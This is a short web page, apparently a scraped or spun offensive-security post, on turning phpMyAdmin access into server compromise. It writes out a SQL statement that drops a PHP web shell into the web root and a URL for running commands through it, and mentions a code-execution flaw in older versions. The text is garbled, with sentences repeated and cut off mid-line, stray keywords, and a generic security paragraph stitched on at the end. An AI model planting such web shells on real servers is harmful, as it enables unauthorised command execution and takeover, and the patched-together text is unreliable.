Phpmyadmin Hacktricks May 2026

Once inside phpMyAdmin, here’s how you turn database access into server compromise.

Once logged in, the real fun begins.

In versions < 4.6.2, a crafted .sql upload combined with preg_replace's /e modifier leads to code execution. Requires $cfg['AllowArbitraryServer']=true. phpmyadmin hacktricks

You can simulate SQLMap’s --os-shell manually: Once inside phpMyAdmin, here’s how you turn database

SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE "/var/www/html/shell.php";

Then call it: http://target.com/shell.php?c=id Then call it: http://target

PHPMyAdmin is a widely used tool for managing MySQL databases. Its popularity makes it a prime target for attackers. As a result, it's essential to understand the potential vulnerabilities and take necessary measures to secure your installation.